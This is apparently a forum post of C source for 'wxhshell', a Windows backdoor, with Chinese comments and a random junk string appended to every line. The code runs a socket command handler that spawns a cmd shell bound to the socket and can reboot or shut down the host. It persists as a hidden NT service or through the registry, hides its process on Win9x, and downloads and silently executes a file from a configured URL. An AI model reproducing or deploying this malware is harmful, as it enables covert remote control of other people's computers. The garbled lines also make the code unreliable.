  // 帮助 N6w!V]b  
  case '?': { i ?]`9z  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }q=uI`  
    break; (dQsR sA  
  } ]<:qMLg  
  // 安装 _g%h:G&^  
  case 'i': { *5q_fO  
    if(Install()) (x1 #_~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hs?cV)hDS  
    else ITf4PxF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Tw@:sWC  
    break; ^-dhz88wV  
    } /5j]laYK)  
  // 卸载 a4x(lx&  
  case 'r': { /(?,S{]  
    if(Uninstall()) u$nYddak  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^ SW!S_&Z2  
    else +a74] H"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hDD]Kc;G^1  
    break; O[\obi"}  
    } ;]Ko7M(4  
  // 显示 wxhshell 所在路径 \!s0H_RJY  
  case 'p': { hg+0!DVx  
    char svExeFile[MAX_PATH]; }= (|3 \v  
    strcpy(svExeFile,"\n\r"); \>)#cEX5  
      strcat(svExeFile,ExeFile); 1MxO((k  
        send(wsh,svExeFile,strlen(svExeFile),0); #GIjU1-  
    break; )|IMhB+4  
    } Tu7sA.73k  
  // 重启 -(l/.yE{X  
  case 'b': { p[:E$#W~;  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {/q4W; D  
    if(Boot(REBOOT)) G&dz<f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vl:V?-sY  
    else { k_](u91  
    closesocket(wsh); Gp}}M Gk  
    ExitThread(0); f<Xi/ (  
    } Ue!~|:  
    break; #Y<(7  
    } );1UbqVPD  
  // 关机 2sYOO>  
  case 'd': { DH'0#  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <a)L5<#  
    if(Boot(SHUTDOWN)) q*d@5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zi= gOm  
    else { $-"V 2  
    closesocket(wsh); F.@U X{J  
    ExitThread(0); %617f=(E?!  
    } "Is0:au+?}  
    break; S|/Za".Gr  
    } /=~o|-n8@  
  // 获取shell TY]-L1$  
  case 's': { ),&tF_z:  
    CmdShell(wsh); Cbjx{  
    closesocket(wsh); < SvjvV  
    ExitThread(0); ~.&2N Ur  
    break; w0Y V87  
  } 31`Eq*Y)4  
  // 退出 lWWy|r'il  
  case 'x': { I9g!#lbl  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); kqt.?iJw  
    CloseIt(wsh); w6@8cNXK  
    break; z P=3B%$  
    } ~WX40z  
  // 离开 yvt :/X  
  case 'q': { v8NoD_  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); <v[UYvZvY  
    closesocket(wsh); YLFM3IaP  
    WSACleanup();  Mt   
    exit(1); :JfT&YYi"  
    break; MfK}DEJK,  
        } ,B||8W9  
  } !1fAW! 8  
  } Olltu"u  
b,o@ m  
  // 提示信息 82A[[^`  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #S*cFnd  
} IM*T+iRKqF  
  } @&}~r  
J>%uak<  
  return; 8D1+["&  
} '1[Bbs  
*8#]3M]  
// shell模块句柄 2kV{|`1  
int CmdShell(SOCKET sock) :+$/B N:iO  
{ 0="U'|J_  
STARTUPINFO si; D<UX^hU   
ZeroMemory(&si,sizeof(si)); C .{`-RO  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Gz@/:dW^vZ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3,$G?auW  
PROCESS_INFORMATION ProcessInfo; SVj4K \F  
char cmdline[]="cmd"; XR.Sm<A[  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 02 6|u|R  
  return 0; J'4V_Kjg-  
} Az4a|.  
NkL>ru!b9  
// 自身启动模式 J~(M%] &k^  
int StartFromService(void) x9B5@2J1  
{ J4>k9~q  
typedef struct ]] Jg%}o  
{ &HIG776  
  DWORD ExitStatus; GK\`8xWE  
  DWORD PebBaseAddress; J6W"t  
  DWORD AffinityMask; +VdC g_  
  DWORD BasePriority; %MUh_63bB  
  ULONG UniqueProcessId; EhK5<v}  
  ULONG InheritedFromUniqueProcessId; XX;MoE~MM  
}   PROCESS_BASIC_INFORMATION; XTPf~Te,=  
Q~S3d  
PROCNTQSIP NtQueryInformationProcess; {Bm7'%i  
6$_//  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; A.>TD=Nz  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; F` "bMS  
qGH\3g-  
  HANDLE             hProcess; )7TuV"  
  PROCESS_BASIC_INFORMATION pbi; \o2cztl=  
NAt; r  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  :bBMy\(u  
  if(NULL == hInst ) return 0; SXx;- Ws  
Ub9p&=]h  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `zBQ:_3J_  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); > cM}M=4s  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ewD=(yr  
ds|L'7  
  if (!NtQueryInformationProcess) return 0; <|R`N)AV;  
Ki{]5Rz  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 'H.,S_v1x  
  if(!hProcess) return 0; $9m>(b/;n  
^s[OvJb  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $TR#-q  
V-.Nc#  
  CloseHandle(hProcess); D8,V'n>L  
jpI=B  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); wrmbOT  
if(hProcess==NULL) return 0; 1Z| {3W  
JMIS*njq^  
HMODULE hMod; nW7Ew<`Q  
char procName[255]; UYW{A G2C  
unsigned long cbNeeded; g?=|kp  
%}x$YD O  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "2a&G3}t"  
AKkr )VgY  
  CloseHandle(hProcess); |ZBHXv  
PShluhY  
if(strstr(procName,"services")) return 1; // 以服务启动 _8eN^oc%  
ZclZD{%8J  
  return 0; // 注册表启动 )/_T`cN  
} XEvDtDR  
0CFON2I  
// 主模块 vh">Z4  
int StartWxhshell(LPSTR lpCmdLine) :L'U>)k  
{ Y,;$RV@g  
  SOCKET wsl; q]r?s%x  
BOOL val=TRUE; byB ESyV!O  
  int port=0; ZuIw4u(9  
  struct sockaddr_in door; g9K7_T #W  
 01;  
  if(wscfg.ws_autoins) Install(); iD-,C`  
 q{*4BL'  
port=atoi(lpCmdLine); 6}xFE]Df-Y  
^g eC?m  
if(port<=0) port=wscfg.ws_port; %\ef Mhn  
ghu8Eg,Y  
  WSADATA data; NP_b~e6O=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _b(y"+k  
LtIw{* 3  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   0X'2d  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;\[ el<Y)s  
  door.sin_family = AF_INET; Ja(>!8H>@  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); [sF z ;Py]  
  door.sin_port = htons(port); z0Bw+&^]}  
NL76 jF  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5Dv ;-G;  
closesocket(wsl); s)<^YASg  
return 1; m\O|BMHn  
} c2iPm9"eh  
3$Y(swc  
  if(listen(wsl,2) == INVALID_SOCKET) { ,j|9Bs  
closesocket(wsl); JVx ,1lth  
return 1; C% )Xz  
} mx:)&1  
  Wxhshell(wsl); B]-~hP  
  WSACleanup(); S+7:fu2?+  
Zz@0Oj!`  
return 0; E"{2R>mU~  
A0>u9Bn"Qw  
} aO'lk  
JE$aYs<(TF  
// 以NT服务方式启动 _T)G?iv:&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 2A^>>Q/,u  
{ \vR&-+8dk  
DWORD   status = 0; '.8E_Jd0E  
  DWORD   specificError = 0xfffffff; !f^'-  
AO "pm  
  serviceStatus.dwServiceType     = SERVICE_WIN32; eGi[LJ)np  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; gBZ1Weu-'  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |&hu3-(  
  serviceStatus.dwWin32ExitCode     = 0; *'q6#\#.  
  serviceStatus.dwServiceSpecificExitCode = 0; },@1i<Bb  
  serviceStatus.dwCheckPoint       = 0; 5C^oqUZ  
  serviceStatus.dwWaitHint       = 0; d l<7jM?  
6I yD7PQ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ci~pM<+  
  if (hServiceStatusHandle==0) return; 00d<V:Aoy  
DL:wiQ  
status = GetLastError(); B-`,h pp  
  if (status!=NO_ERROR) +dIO+(&g  
{ 0s#`H  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; P$=BmBq18`  
    serviceStatus.dwCheckPoint       = 0; ?%Pd:~4D  
    serviceStatus.dwWaitHint       = 0; @! gJOy  
    serviceStatus.dwWin32ExitCode     = status; Hi{1C"%  
    serviceStatus.dwServiceSpecificExitCode = specificError; (E.,kcAJ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); f 4Yn=D=_  
    return; Q#} 0pq  
  } Cb5Rr +K=  
6zfi\(fop  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; )`sEdVxbr  
  serviceStatus.dwCheckPoint       = 0; `l0&,]  
  serviceStatus.dwWaitHint       = 0; i{9_C/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); snW=9b)m  
} tAM t7p-  
nn0`A3  
// 处理NT服务事件,比如:启动、停止 ygA~d9"  
VOID WINAPI NTServiceHandler(DWORD fdwControl) WHM|kt  
{ uN)o|7  
switch(fdwControl) 6zGM[2  
{ 9 Z 5!3  
case SERVICE_CONTROL_STOP: *b@YoQe3!  
  serviceStatus.dwWin32ExitCode = 0; j m]d:=4_  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; )zR(e>VX  
  serviceStatus.dwCheckPoint   = 0; \UF/_'=K  
  serviceStatus.dwWaitHint     = 0; }eO{+{D +  
  { ^=lh|C\#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rv\yS:2  
  } P!apAr  
  return; !ibdw_H  
case SERVICE_CONTROL_PAUSE: g2&%bNQ-5  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; (pl|RmmDz  
  break; aU)NbESu  
case SERVICE_CONTROL_CONTINUE: ZB5:FtW4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; *QIlh""6  
  break; 5ZXP$.  
case SERVICE_CONTROL_INTERROGATE: #Oeb3U  
  break; k[`9RGT  
}; W8$ky[2R  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); v%=@_`Ht  
} )M!6y%b67  
:U}.  
// 标准应用程序主函数 TBGN',,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `|Wu\X  
{ [vJLj>@  
I)B+h8l72<  
// 获取操作系统版本 K>tubLYh  
OsIsNt=GetOsVer(); l=*60Ag\J~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); a%"27 n(M  
!\DlX |  
  // 从命令行安装 |\lsTY&2  
  if(strpbrk(lpCmdLine,"iI")) Install(); #c?xJ&bh  
l. 9 i `  
  // 下载执行文件 *" ("^_x\  
if(wscfg.ws_downexe) { j!It1B  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 'F)93SwU  
  WinExec(wscfg.ws_filenam,SW_HIDE); h "MiD  
} /:YM{,]  
Fbpe`pS+V  
if(!OsIsNt) { xejQ!MAB  
// 如果时win9x,隐藏进程并且设置为注册表启动 Y2j>@  
HideProc(); R0l5"l*@+  
StartWxhshell(lpCmdLine); TvbkvK  
} nI63Ns  
else (&W&1KT  
  if(StartFromService()) C[Ap&S  
  // 以服务方式启动 &7i o/d\/  
  StartServiceCtrlDispatcher(DispatchTable); s?:&#  
else c,K)*HB  
  // 普通方式启动 Zt;dPYq>  
  StartWxhshell(lpCmdLine); 3u)NkS=  
rY~!hZ  
return 0; '\ MYC8"  
}
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只看该作者 1 发表于: 2006-10-10
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